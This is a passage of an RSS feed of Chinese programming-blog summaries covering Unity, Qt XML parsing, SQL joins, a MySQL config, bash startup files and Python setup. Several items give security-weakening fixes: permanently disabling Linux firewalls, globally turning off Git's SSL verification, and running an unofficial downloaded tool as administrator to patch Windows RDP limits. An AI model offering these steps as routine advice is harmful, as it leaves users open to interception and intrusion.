34;WG&#34;,&#34;28177&#34;:&#34;SM&#34;,&#34;28267&#34;:&#34;QJ&#34;,&#34;28291&#34;:&#34;KH&#34;,&#34;28337&#34;:&#34;ZQ&#34;,&#34;28463&#34;:&#34;TL&#34;,&#34;28548&#34;:&#34;DC&#34;,&#34;28601&#34;:&#34;TD&#34;,&#34;28689&#34;:&#34;PB&#34;,&#34;28805&#34;:&#34;JG&#34;,&#34;28820&#34;:&#34;QG&#34;,&#34;28846&#34;:&#34;PB&#34;,&#34;28952&#34;:&#34;TD&#34;,&#34;28975&#34;:&#34;ZC&#34;,&#34;29100&#34;:&#34;A&#34;,&#34;29325&#34;:&#34;QJ&#34;,&#34;29575&#34;:&#34;SL&#34;,&#34;29602&#34;:&#34;FB&#34;,&#34;30010&#34;:&#34;TD&#34;,&#34;30044&#34;:&#34;CX&#34;,&#34;30058&#34;:&#34;PF&#34;,&#34;30091&#34;:&#34;YSP&#34;,&#34;30111&#34;:&#34;YN&#34;,&#34;30229&#34;:&#34;XJ&#34;,&#34;30427&#34;:&#34;SC&#34;,&#34;30465&#34;:&#34;SX&#34;,&#34;30631&#34;:&#34;YQ&#34;,&#34;30655&#34;:&#34;QJ&#34;,&#34;30684&#34;:&#34;QJG&#34;,&#34;30707&#34;:&#34;SD&#34;,&#34;30729&#34;:&#34;XH&#34;,&#34;30796&#34;:&#34;LG&#34;,&#34;30917&#34;:&#34;PB&#34;,&#34;31074&#34;:&#34;NM&#34;,&#34;31085&#34;:&#34;JZ&#34;,&#34;31109&#34;:&#34;SC&#34;,&#34;31181&#34;:&#34;ZC&#34;,&#34;31192&#34;:&#34;MLB&#34;,&#34;31293&#34;:&#34;JQ&#34;,&#34;31400&#34;:&#34;YX&#34;,&#34;31584&#34;:&#34;YJ&#34;,&#34;31896&#34;:&#34;ZN&#34;,&#34;31909&#34;:&#34;ZY&#34;,&#34;31995&#34;:&#34;XJ&#34;,&#34;32321&#34;:&#34;PF&#34;,&#34;32327&#34;:&#34;ZY&#34;,&#34;32418&#34;:&#34;HG&#34;,&#34;32420&#34;:&#34;XQ&#34;,&#34;32421&#34;:&#34;HG&#34;,&#34;32438&#34;:&#34;LG&#34;,&#34;32473&#34;:&#34;GJ&#34;,&#34;32488&#34;:&#34;TD&#34;,&#34;32521&#34;:&#34;QJ&#34;,&#34;32527&#34;:&#34;PB&#34;,&#34;32562&#34;:&#34;ZSQ&#34;,&#34;32564&#34;:&#34;JZ&#34;,&#34;32735&#34;:&#34;ZD&#34;,&#34;32793&#34;:&#34;PB&#34;,&#34;33071&#34;:&#34;PF&#34;,&#34;33098&#34;:&#34;XL&#34;,&#34;33100&#34;:&#34;YA&#34;,&#34;33152&#34;:&#34;PB&#34;,&#34;33261&#34;:&#34;CX&#34;,&#34;33324&#34;:&#34;BP&#34;,&#34;33333&#34;:&#34;TD&#34;,&#34;33406&#34;:&#34;YA&#34;,&#34;33426&#34;:&#34;WM&#34;,&#34;33432&#34;:&#34;PB&#34;,&#34;33445&#34;:&#34;JG&#34;,&#34;33486&#34;:&#34;ZN&#34;,&#34;33493&#34;:&#34;TS&#34;,&#34;33507&#34;:&#34;QJ&#34;,&#34;33540&#34;:&#34;QJ&#34;,&#34;33544&#34;:&#34;ZC&#34;,&#34;33564&#34;:&#34;XQ&#34;,&#34;33617&#34;:&#34;YT&#34;,&#34;33632&#34;:&#34;QJ&#34;,&#34;33636&#34;:&#34;XH&#34;,&#34;33637&#34;:&#34;YX&#34;,&#34;33694&#34;:&#34;WG&#34;,&#34;33705&#34;:&#34;PF&#34;,&#34;33728&#34;:&#34;YW&#34;,&#34;33882&#34;:&#34;SR&#34;,&#34;34067&#34;:&#34;WM&#34;,&#34;34074&#34;:&#34;YW&#34;,&#34;34121&#34;:&#34;QJ&#34;,&#34;34255&#34;:&#34;ZC&#34;,&#34;34259&#34;:&#34;XL&#34;,&#34;34425&#34;:&#34;JH&#34;,&#34;34430&#34;:&#34;XH&#34;,&#34;34485&#34;:&#34;KH&#34;,&#34;34503&#34;:&#34;YS&#34;,&#34;34532&#34;:&#34;HG&#34;,&#34;34552&#34;:&#34;XS&#34;,&#34;34558&#34;:&#34;YE&#34;,&#34;34593&#34;:&#34;ZL&#34;,&#34;34660&#34;:&#34;YQ&#34;,&#34;34892&#34;:&#34;XH&#34;,&#34;34928&#34;:&#34;SC&#34;,&#34;34999&#34;:&#34;QJ&#34;,&#34;35048&#34;:&#34;PB&#34;,&#34;35059&#34;:&#34;SC&#34;,&#34;35098&#34;:&#34;ZC&#34;,&#34;35203&#34;:&#34;TQ&#34;,&#34;35265&#34;:&#34;JX&#34;,&#34;35299&#34;:&#34;JX&#34;,&#34;35782&#34;:&#34;SZ&#34;,&#34;35828&#34;:&#34;YS&#34;,&#34;35830&#34;:&#34;E&#34;,&#34;35843&#34;:&#34;TD&#34;,&#34;35895&#34;:&#34;YG&#34;,&#34;35977&#34;:&#34;MH&#34;,&#34;36158&#34;:&#34;JG&#34;,&#34;36228&#34;:&#34;QJ&#34;,&#34;36426&#34;:&#34;XQ&#34;,&#34;36466&#34;:&#34;DC&#34;,&#34;36710&#34;:&#34;JC&#34;,&#34;36711&#34;:&#34;ZYG&#34;,&#34;36767&#34;:&#34;PB&#34;,&#34;36866&#34;:&#34;SK&#34;,&#34;36951&#34;:&#34;YW&#34;,&#34;37034&#34;:&#34;YX&#34;,&#34;37063&#34;:&#34;XH&#34;,&#34;37218&#34;:&#34;ZC&#34;,&#34;37325&#34;:&#34;ZC&#34;,&#34;38063&#34;:&#34;PB&#34;,&#34;38079&#34;:&#34;TD&#34;,&#34;38085&#34;:&#34;QY&#34;,&#34;38107&#34;:&#34;DC&#34;,&#34;38116&#34;:&#34;TD&#34;,&#34;38123&#34;:&#34;YD&#34;,&#34;38224&#34;:&#34;HG&#34;,&#34;38241&#34;:&#34;XTC&#34;,&#34;38271&#34;:&#34;ZC&#34;,&#34;38415&#34;:&#34;YE&#34;,&#34;38426&#34;:&#34;KH&#34;,&#34;38461&#34;:&#34;YD&#34;,&#34;38463&#34;:&#34;AE&#34;,&#34;38466&#34;:&#34;PB&#34;,&#34;38477&#34;:&#34;XJ&#34;,&#34;38518&#34;:&#34;YT&#34;,&#34;38551&#34;:&#34;WK&#34;,&#34;38585&#34;:&#34;ZC&#34;,&#34;38704&#34;:&#34;XS&#34;,&#34;38739&#34;:&#34;LJ&#34;,&#34;38761&#34;:&#34;GJ&#34;,&#34;38808&#34;:&#34;SQ&#34;,&#34;39048&#34;:&#34;JG&#34;,&#34;39049&#34;:&#34;XJ&#34;,&#34;39052&#34;:&#34;HG&#34;,&#34;39076&#34;:&#34;CZ&#34;,&#34;39271&#34;:&#34;XT&#34;,&#34;39534&#34;:&#34;TD&#34;,&#34;39552&#34;:&#34;TD&#34;,&#34;39584&#34;:&#34;PB&#34;,&#34;39647&#34;:&#34;SB&#34;,&#34;39730&#34;:&#34;LG&#34;,&#34;39748&#34;:&#34;TPB&#34;,&#34;40109&#34;:&#34;ZQ&#34;,&#34;40479&#34;:&#34;ND&#34;,&#34;40516&#34;:&#34;HG&#34;,&#34;40536&#34;:&#34;HG&#34;,&#34;40583&#34;:&#34;QJ&#34;,&#34;40765&#34;:&#34;YQ&#34;,&#34;40784&#34;:&#34;QJ&#34;,&#34;40840&#34;:&#34;YK&#34;,&#34;40863&#34;:&#34;QJG&#34;}; }, // 提取拼音, 返回首字母大写形式 getFullChars: function(str){ var result = &#39;&#39;, name; var reg = new RegExp(&#39;[a-zA-Z0-9\- ]&#39;); for (var i=0, len = str.</description>
    </item>
    <item>
      <title>unity 实现UIGIF效果</title>
      <link>https://bchobby.github.io/posts/e80e3a3034a27f8aff276c4436f4676a/</link>
      <pubDate>Mon, 02 Apr 2018 11:35:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e80e3a3034a27f8aff276c4436f4676a/</guid>
      <description>最近时间还算充裕，整理了一些写的小工具。&#xA;发现很多小伙伴可能有GIF图的需求，我原来写的一个基于UGUI使用代码编写的（可以用动画，频率不好控制），可以直接实现，且可控制hz频率。&#xA;代码简单，挂在要变为gif的image上，直接将你的gif序列帧挂在spritename上即可.ratetime，你可以吧你自己的计算方法加在上面。&#xA;有问题加 QQ群 207019099&#xA;/// &amp;lt;summary&amp;gt; /// 精灵名字 /// &amp;lt;/summary&amp;gt; public Sprite[] spriteName; /// &amp;lt;summary&amp;gt; /// 序列的长度 /// &amp;lt;/summary&amp;gt; public int count; /// &amp;lt;summary&amp;gt; /// 当前播放标记 /// &amp;lt;/summary&amp;gt; private int index; public Image sprite; /// &amp;lt;summary&amp;gt; /// 每张序列播放的间隔 /// &amp;lt;/summary&amp;gt; public float interval = 0.04f; /// &amp;lt;summary&amp;gt; /// 播放一次完整动画的间隔时间 /// &amp;lt;/summary&amp;gt; public float rateTime = 0.0f; /// &amp;lt;summary&amp;gt; /// 是否只播放一次 /// &amp;lt;/summary&amp;gt; public bool playOnlyOnce; public void Awake() { sprite = GetComponent&amp;lt;Image&amp;gt;(); } // Use this for initialization void Start() { DontDestroyOnLoad(gameObject); } public void OnEnable() { count = spriteName.</description>
    </item>
    <item>
      <title>QT学习系列： 解析XML文件方法之DOM</title>
      <link>https://bchobby.github.io/posts/6b18d5bc3c602d893855ef0e11c0f649/</link>
      <pubDate>Mon, 02 Apr 2018 10:14:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b18d5bc3c602d893855ef0e11c0f649/</guid>
      <description>首先明确一个概念，DOM：Document Object Model 文档对象模型&#xA;QT有解析XML的模块QtXml，使用时需要在pro文件中增加 QT += xml，并且包含头文件#include &amp;lt;QtXml&amp;gt;&#xA;解析XML步骤：&#xA;1.创建一个QDomDocument类，用来代表整个XML文档&#xA;2.用QFile打开指定的XML文件&#xA;3.使用QDomDocument.setContext()设置整个文档的内容，它会将整个XML文档解析为一个DOM树，并保存在内存中&#xA;还有一个很重要的类QDomNode，这个类中定义了处理XML节点的具体操作。QDomDocument继承自这个类&#xA;一些重要的成员函数：&#xA;firstChild()：获得第一个节点&#xA;lastChild()：获得最后一个节点&#xA;childNodes()：获取该节点的所有子节点的一个列表地&#xA;nextSibling()：获取下一个兄弟节点&#xA;对于一个元素节点，可以使用tagName()获取标签名，使用attribute()来获取指定的属性值，使用text()来获取其中文本的内容。</description>
    </item>
    <item>
      <title>SQL语法——left join on 多条件</title>
      <link>https://bchobby.github.io/posts/afb7881c1a9357f52ae50d5aa86e9dc7/</link>
      <pubDate>Fri, 30 Mar 2018 22:22:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afb7881c1a9357f52ae50d5aa86e9dc7/</guid>
      <description>left join on +多条件与where区别 重点 先匹配，再筛选where条件。&#xA;本文将通过几个例子说明两者的差别。&#xA;表1：product&#xA;idamount1100220033004400 表2：product_details&#xA;idweightexist2220444155506661 1. 单个条件 select * from product a left join product_details b on a.id = b.id 以左表为准匹配，结果：&#xA;idamountidweightexist1100nullnullnull220022203300nullnullnull44004441 2. 条件写在on 与where区别 查询1：&#xA;SELECT * FROM product LEFT JOIN product_details ON (product.id = product_details.id) AND product.amount=200; 结果：&#xA;idamountidweightexist1100nullnullnull220022203300nullnullnull4400nullnullnull 把on的所有条件作为匹配条件，不符合的右表都为null。&#xA;查询2：&#xA;SELECT * FROM product LEFT JOIN product_details ON (product.id = product_details.id) WHERE product.amount=200; idamountidweightexist22002220 匹配完再筛选，结果只有一条记录。&#xA;3. where XXX is null 情况 使用该语句表示：删除掉不匹配on后面条件的记录。</description>
    </item>
    <item>
      <title>mysql 5.7 的 /etc/my.cnf 参数</title>
      <link>https://bchobby.github.io/posts/61377f135793b5f88abefa569e28f752/</link>
      <pubDate>Fri, 30 Mar 2018 14:19:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61377f135793b5f88abefa569e28f752/</guid>
      <description>下面是 mysql 5.7 的 /etc/my.cnf 的一些常用参数，自己记录一下，随时补充完善。&#xA;Default options are read from the following files in the given order:&#xA;/etc/my.cnf /etc/mysql/my.cnf /usr/etc/my.cnf ~/.my.cnf&#xA;[client] port = 3306 default-character-set=utf8mb4 socket=/tmp/mysql.sock [mysql] #prompt=&#34;\\u@\\h :\\d \\r:\\m:\\s&amp;gt; &#34; prompt=&#34;\\u@\\h \\R:\\m:\\s [\\d]&amp;gt; &#34; #no-auto-rehash auto-rehash default-character-set=utf8mb4 socket=/tmp/mysql.sock [mysqld] ########################## # summary ########################## skip_name_resolve = on #skip-grant-tables #skip-networking bind-address = 0.0.0.0 port = 3306 basedir=/usr/local/mysql datadir=/data/mysql socket=/tmp/mysql.sock tmpdir = /tmp pid-file=/tmp/mysqld.pid explicit_defaults_for_timestamp=1 lower_case_table_names=1 table_open_cache = 8000 transaction_isolation = &#39;REPEATABLE-READ&#39; ########################## # time out ########################## connect_timeout = 20 wait_timeout = 300 interactive_timeout = 300 ########################## # connection ########################## max_connections = 2000 max_user_connections = 1900 max_connect_errors = 100000 max_allowed_packet = 1G ########################## # character set ########################## character-set-server = utf8mb4 collation-server = utf8mb4_bin ########################## # log bin ########################## server-id = 1 log_bin = mysql-bin # ROW、STATEMENT、MIXED binlog_format = row sync_binlog = 1 expire_logs_days = 7 binlog_cache_size = 128m max_binlog_cache_size = 512m max_binlog_size = 256M master_info_repository=TABLE log_slave_updates=ON binlog_checksum=none binlog_gtid_simple_recovery=on #binlog_ignore_db=information_schema #binlog_ignore_db=mysql #binlog_ignore_db=performation_schema #binlog_ignore_db=sys #binlog_do_do= #replicate_ignore_db=information_schema #replicate_ignore_db=mysql #replicate_ignore_db=performance_schema #replicate_ignore_db=sys #replicate_do_db= ########################## # gtid ########################## gtid_mode = on enforce_gtid_consistency = on ########################## # slave parallel ########################## slave_net_timeout=60 slave_parallel_type=LOGICAL_CLOCK slave_parallel_workers=4 ########################## # log relay ########################## relay_log_info_repository=TABLE relay_log = mysql-relay-bin relay_log_purge = on relay_log_recovery = on max_relay_log_size = 1G ########################## # log error ########################## log_error=/data/mysql/mysqld_error.</description>
    </item>
    <item>
      <title>redhat6防火墙永久关闭开机后又启动问题</title>
      <link>https://bchobby.github.io/posts/89896dd99cf54dec3f39dc8011290975/</link>
      <pubDate>Fri, 30 Mar 2018 11:17:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89896dd99cf54dec3f39dc8011290975/</guid>
      <description> 今天无意中发现一个现象，当我关闭iptables并且停止iptables服务，但是总会有一些出奇的事情发生，当我再次启动系统，查看iptables状态，iptables又自动开启，很是无奈啊！&#xA;在Red Hat Enterprise Linux Server release 5.x时代没用出现过关闭iptables时，重启机器之后，防火墙有会打开的的现象，在Red Hat Enterprise Linux Server release 6.2以后就会出现这种情况，经过研究libvirt（虚拟化工具的C函数库）在开机时会带动iptables的启动，如下操作可永久关闭iptables：&#xA;https://blog.csdn.net/Jonathan158/article/details/78526386&#xA;? 1 2 3 4 [root@localhost ~]# service iptables stop [root@localhost ~]# chkconfig iptables off [root@localhost ~]# chkconfig libvirtd off [root@localhost ~]# chkconfig |grep libvirtd libvirtd 0:off 1:off 2:off 3:off 4:off 5:off 6:off </description>
    </item>
    <item>
      <title>centos 7 关闭 firewall、iptables</title>
      <link>https://bchobby.github.io/posts/9a7daa876ac314e000b83936be0966af/</link>
      <pubDate>Fri, 30 Mar 2018 11:00:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a7daa876ac314e000b83936be0966af/</guid>
      <description> systemctl是CentOS7的服务管理工具中主要的工具，它融合之前service和chkconfig的功能于一体。&#xA;1、关闭firewall&#xA;systemctl status firewalld.service systemctl stop firewalld.service systemctl disable firewalld.service firewall-cmd --state 2、关闭iptables&#xA;yum install iptables-services systemctl status iptables.service systemctl stop iptables.service systemctl disable iptables.service cd /etc/sysconfig mv /etc/sysconfig/iptables /etc/sysconfig/iptables.bak mv /etc/sysconfig/iptables-config /etc/sysconfig/iptables-config.bak touch /etc/sysconfig/iptables touch /etc/sysconfig/iptables-config reboot </description>
    </item>
    <item>
      <title>unity 手指控制UI移动和放大缩小</title>
      <link>https://bchobby.github.io/posts/8fa05c51dd6ea38587e62494bf959f5b/</link>
      <pubDate>Fri, 30 Mar 2018 10:43:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8fa05c51dd6ea38587e62494bf959f5b/</guid>
      <description>直接将下面的update方法放在mono类下即可。&#xA;指定一下所要控制的物体。&#xA;有问题添加 QQ群 207019099&#xA;void Update() { Ray ray = new Ray(); ray = Camera.main.ScreenPointToRay(Input.GetTouch(0).position); if (Input.GetTouch(0).phase == TouchPhase.Moved || Input.GetTouch(0).phase == TouchPhase.Stationary) { Vector2 touchDeltaPosition = Input.GetTouch(0).deltaPosition; transform.Translate(touchDeltaPosition.x * Time.deltaTime *0.03f, touchDeltaPosition.y * Time.deltaTime * 0.03f, 0); } if (Input.touchCount &amp;gt; 1) { //当第二根手指按下的时候 if (Input.GetTouch(1).phase == TouchPhase.Began) { isTwoTouch = true; //获取第一根手指的位置 firstTouch = Input.touches[0].position; //获取第二根手指的位置 secondTouch = Input.touches[1].position; lastDistance = Vector2.Distance(firstTouch, secondTouch); } //如果有两根手指按下 if (isTwoTouch) { //每一帧都得到两个手指的坐标以及距离 firstTouch = Input.</description>
    </item>
    <item>
      <title>C#是可以用ManagementClass的相关来获取，但是unity没这个东西，  Unity获取硬盘序列号</title>
      <link>https://bchobby.github.io/posts/a747ef61211cf1ef84fff037cae54dc9/</link>
      <pubDate>Thu, 29 Mar 2018 10:08:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a747ef61211cf1ef84fff037cae54dc9/</guid>
      <description>using System; using System.Collections; using System.Collections.Generic; using System.Runtime.InteropServices; using UnityEngine; public class DiskID : MonoBehaviour { private const string KERNEL = &#34;kernel32.dll&#34;; public enum DriveCommand : uint { GetVersion = 0x00074080, SendDriveCommand = 0x0007c084, ReceiveDriveData = 0x0007c088 } [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct DriverStatus { public byte DriverError; public byte IDEError; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] public byte[] Reserved; } [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct DriveIdentifyResult { public uint BufferSize; public DriverStatus DriverStatus; public Identify Identify; } [StructLayout(LayoutKind.</description>
    </item>
    <item>
      <title>关于“.bash_profile”和“.bashrc”区别的总结</title>
      <link>https://bchobby.github.io/posts/c66951470357003d404feadee778e89e/</link>
      <pubDate>Wed, 28 Mar 2018 16:45:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c66951470357003d404feadee778e89e/</guid>
      <description>0、前言 项目环境部署是自己的薄弱项，一些简单的服务，照着搜索来的步骤能凑合部署成功，但并不明白其中的原理，偶尔遇到一些ERR，就抓瞎，无从下手。项目环境部署，需要一些基础服务，如java环境，tomcat环境、mysql等等；服务部署成功后，还需要给其配置环境变量；要配置环境变量，就要用到什么bashrc或bash_profile文件，可是这文件有啥区别，一直不明白，今天看到这篇文章，结合自己实践，分享给各位。&#xA;1、bash的startup文件 Linux shell是用户与Linux系统进行交互的媒介，而bash作为目前Linux系统中最常用的shell，它支持的startup文件也并不单一，甚至让人感到费解。本文以CentOS 7系统为例，对bash的startup文件进行一些必要的梳理和总结。 （1）先来看看bash手册上的描述&#xA;/etc/profile The systemwide initialization file, executed for login shells。系统初始化文件，在login shells时执行 /etc/bash.bash_logout The systemwide login shell cleanup file, executed when a login shell exits。系统的登录shell清理文件，当一个登录shell退出时执行。 ~/.bash_profile The personal initialization file, executed for login shells。个人初始化文件，为登录shell执行。 ~/.bashrc The individual per-interactive-shell startup file。每个交互式shell启动文件。 ~/.bash_logout The individual login shell cleanup file, executed when a login shell exits。单个登录shell清理文件，当一个登录shell退出时执行。&#xA;此外，bash还支持~/.bash_login和~/.profile文件，作为对其他shell的兼容，他们与~/.bash_profile文件的作用是相同的。&#xA;备注：Debian系统会使用~/.profile文件取代~/.bash_profile文件，相关细节上也会和Cent OS略有不同。&#xA;2、“profile”与“rc”系列 通过名字的不同，我们可以直观地将startup文件分为“profile”与“rc”两个系列，其实他们的功能都很类似，但是使用的场景不同，这也是大家最容易忽略的地方。&#xA;所谓的不同场景，其实就是shell的运行模式。我们知道运行中的bash有“交互”和“登陆”两种属性，而执行“profile”系列还是“rc”系列，就与shell的这两个属性有关。 原理上讲，“登陆shell”启动时会加载“profile”系列的startup文件，而“交互式非登陆shell”启动时会加载“rc”系列的startup文件。&#xA;3、“profile”系列的执行场景 根据bash手册上的描述：&#xA;When bash is invoked as an interactive login shell, or as a non-interactive shell with the –login option, it first reads and executes commands from the file /etc/profile, if that file exists.</description>
    </item>
    <item>
      <title>win10 C盘居然一夜间满了，清理C盘过大</title>
      <link>https://bchobby.github.io/posts/253f10380509b55bbc4a7f2337ac3aaf/</link>
      <pubDate>Wed, 28 Mar 2018 15:29:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/253f10380509b55bbc4a7f2337ac3aaf/</guid>
      <description>1：关闭休眠&#xA;以管理员身份运行C：\windows\system32\cmd.exe--执行命令：powercfg -h off。休眠文件便不再存在。&#xA;2：下载 https://github.com/lostindark/DriverStoreExplorer/releases/tag/v0.9.35&#xA;删除旧驱动&#xA;3：配置系统&#xA;win10在“设置--系统--存储--存储感知”中按钮打开，能够定期自行清除垃圾 OK，C盘空间恢复了。 下一个软件：wicleanup&#xA;百度下载地址：http://rj.baidu.com/soft/detail/26316.html?ald&#xA;另一个清除各种驱动的软件：&#xA;DriverStore.Explorer.v0.7&#xA;运行Rapr.exe 选择一些不要的包 delete package就OK了。</description>
    </item>
    <item>
      <title>Git发生SSL certificate problem解决方法</title>
      <link>https://bchobby.github.io/posts/0140de14b9d3cb7fb6d95cabe7b9f468/</link>
      <pubDate>Wed, 28 Mar 2018 13:17:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0140de14b9d3cb7fb6d95cabe7b9f468/</guid>
      <description> Git发生SSL certificate problem解决方法 最近使用git提交代码，发现有如下问题： 查了资料之后，完美解决！ 解决方法：使用如下命令设置，去掉git的ssl验证 git config --global http.sslVerify false </description>
    </item>
    <item>
      <title>_T 未定义错误</title>
      <link>https://bchobby.github.io/posts/c4f14894c86cd7a9fb67d5d7f9a4048d/</link>
      <pubDate>Wed, 28 Mar 2018 12:18:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4f14894c86cd7a9fb67d5d7f9a4048d/</guid>
      <description> 今天编写c语言程序，编译时出现&#34;_T&#34;未定义错误时，在头文件中添加引用tchar.h头文件就不会再报错了&#xA;#include &amp;lt;tchar.h&amp;gt; </description>
    </item>
    <item>
      <title>C&#43;&#43; 直接计算多项式的值</title>
      <link>https://bchobby.github.io/posts/8b3561f660d54f983f675a8e9fa30f4c/</link>
      <pubDate>Tue, 27 Mar 2018 22:31:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b3561f660d54f983f675a8e9fa30f4c/</guid>
      <description>在数据结构上遇到了这个题...但是觉得麻烦没写，想想还是要学的，特此记录下来。&#xA;以下是代码：&#xA;#include &amp;lt;Windows.h&amp;gt; #include &amp;lt;iostream&amp;gt; #include &amp;lt;vector&amp;gt; #include &amp;lt;String&amp;gt; #include &amp;lt;stack&amp;gt; #include &amp;lt;cstdlib&amp;gt; using namespace std; /* 第一步，转换成后缀表达式 第二部，利用后缀表达式求解 如何转化为后缀表达式： 顺序扫描中序表达式 a） 是数字， 直接输出 b） 是运算符 i : “(” 直接入栈 ii : “)” 将符号栈中的元素依次出栈并输出, 直到 “(“, “(“只出栈, 不输出 iii: 其他符号, 将符号栈中的元素依次出栈并输出, 直到 遇到比当前符号优先级更低的符号或者”(“。 将当前符号入栈。 扫描完后, 将栈中剩余符号依次输出 */ int main() { string str_in; vector&amp;lt;string&amp;gt; houzhuibiaodashi;&#x9;//后缀表达式 stack&amp;lt;char&amp;gt; CStack; string temp;&#x9;//临时 stack &amp;lt;float&amp;gt; NStack; while (1) { houzhuibiaodashi.clear();&#x9;//后缀表达式向量清空 while (!</description>
    </item>
    <item>
      <title>Windows 安装 Python 及配置环境变量</title>
      <link>https://bchobby.github.io/posts/99a86f609c0540750e77423dc7574bed/</link>
      <pubDate>Tue, 27 Mar 2018 18:00:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99a86f609c0540750e77423dc7574bed/</guid>
      <description>目前，Python有两个版本，一个是2.x版，一个是3.x版，这两个版本是不兼容的。由于2.x版官方只维护到2020年，所以以3.x版作为示例，但是2.x版与3.x版安装方法及环境变量配置的方法是一模一样的，所以请放心。&#xA;下载 Python 安装包&#xA;进入Python官网www.python.org，在“Downloads”下拉菜单中的右半部分直接点击python3.6.4版本即可下载，它会自动下载32位的。（3.6.4是3.x最新版本；2.7.13是2.x最新版本）。由于现在3.x版本已经很普及，建议用最新版本3.6.4。&#xA;如果想下载64位的，或者其他版本的，可以直接点击列表中的 Windows 跳转到如下列表图，可以选择自己心仪的版本。下载完成后，是一个exe后缀的文件，双击安装即可。&#xA;开始安装&#xA;安装完毕后，直接在搜索中输入“cmd”调出命令行，或者快捷键“win+R”&#xA;终端中输入“python3”即可&#xA;环境配置 1. 点击“我的电脑”，右击选择“属性” 2. 选择“高级系统设置”--&amp;gt;选“环境变量”--&amp;gt;在“系统变量”中选中“Path”，再点“编辑”--&amp;gt;再点“编辑文本” --&amp;gt;选“环境变量”--&amp;gt;在“系统变量”中选中“Path”，再点“编辑”--&amp;gt;再点“编辑文本”&#xA;--&amp;gt;在“系统变量”中选中“Path”，再点“编辑”--&amp;gt;再点“编辑文本”&#xA;--&amp;gt;再点“编辑文本”&#xA;3.在“变量值”一栏，把自己所安装的python路径拷进去就可以了，我安装的路径是“D:\Python27”&#xA;注意：在拷贝路径“C:\Python27”时，前面要加分号“;”还要注意，分号一定是英文输入法里的分号哦。 4.配置完毕： win+R，或 cmd 调出命令行 输入命令“python”，就可以有相关显示，完成！&#xA;安装 pip 包管理工具&#xA;详见博客：https://blog.csdn.net/catstarxcode/article/details/79724764</description>
    </item>
    <item>
      <title>win10多人同时远程桌面连接教程</title>
      <link>https://bchobby.github.io/posts/98431454034cc55dbf0a4785324668b4/</link>
      <pubDate>Mon, 26 Mar 2018 15:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98431454034cc55dbf0a4785324668b4/</guid>
      <description>win10多人同时远程桌面连接 教程&#xA;1 新建用户 右键“此电脑”-&amp;gt;管理-&amp;gt;本地用户和组&#xA;右键“用户”-&amp;gt;新用户&#xA;点击【创建】按钮，即可完成用户创建。&#xA;2 添加远程桌面用户 右键“此电脑”-&amp;gt;属性-&amp;gt;远程&#xA;点击【选择用户】按钮，&#xA;点击【添加】按钮，&#xA;点击【高级】&#xA;点击【立即查找】，在搜索结果中选择 第一步中新建的用户，选中后，点击【确定】。&#xA;3 配置本地组策略 win10 左下角搜索栏中 输入 gpedit打开本地组策略编辑器&#xA;选择【管理模板】-&amp;gt;【Windows组件】-&amp;gt;【远程桌面服务】-&amp;gt;【远程桌面会话主机】-&amp;gt;【连接】&#xA;配置 【限制连接的数量】，允许的RD最大连接数 即为最大的连接数量&#xA;配置【将远程桌面服务用户限制到单独的远程桌面服务会话】，改成 “已禁用”&#xA;4 解除win10对连接数量的限制 工具下载：&#xA;https://download.csdn.net/download/sinat_19758811/10308831&#xA;运行步骤：install.bat-&amp;gt;update.bat-&amp;gt;RDPConf.exe&#xA;注意，上面三个程序均需要右键以管理员身份运行，且保证电脑网络畅通。</description>
    </item>
    <item>
      <title>在js中调用微信的扫描二维码功能</title>
      <link>https://bchobby.github.io/posts/0be24b6eb028a7d20214ad7751d08b16/</link>
      <pubDate>Mon, 26 Mar 2018 11:28:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0be24b6eb028a7d20214ad7751d08b16/</guid>
      <description>在js中调用微信的扫描二维码功能 关键代码 &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt; js调用微信扫一扫功能测试 &amp;lt;/title&amp;gt; &amp;lt;!--引用微信JS库--&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;http://res.wx.qq.com/open/js/jweixin-1.0.0.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;!--引用jQuery库--&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;http://code.jquery.com/jquery-1.4.2.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;input type=&#34;button&#34; value=&#34;扫一扫&#34; id=&#34;scanQRCode&#34;&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; //这里【url参数一定是去参的本网址】 $.get(&#34;获取微信认证参数的网址?url=当前网页的网址&#34;, function(data){ var jsondata=$.parseJSON(data); wx.config({ // 开启调试模式,调用的所有api的返回值会在客户端alert出来，若要查看传入的参数，可以在pc端打开，参数信息会通过log打出，仅在pc端时才会打印。 debug: false, // 必填，公众号的唯一标识 appId: jsondata.model.appId, // 必填，生成签名的时间戳 timestamp: &#34;&#34; + jsondata.model.timestamp, // 必填，生成签名的随机串 nonceStr: jsondata.model.nonceStr, // 必填，签名 signature: jsondata.model.signature, // 必填，需要使用的JS接口列表 jsApiList: [&#39;checkJsApi&#39;, &#39;scanQRCode&#39;] }); }); wx.error(function (res) { alert(&#34;出错了：&#34; + res.errMsg);//这个地方的好处就是wx.config配置错误，会弹出窗口哪里错误，然后根据微信文档查询即可。 }); wx.ready(function () { wx.checkJsApi({ jsApiList: [&#39;scanQRCode&#39;], success: function (res) { } }); //点击按钮扫描二维码 document.</description>
    </item>
    <item>
      <title>python列表（list）的使用技巧及高级操作</title>
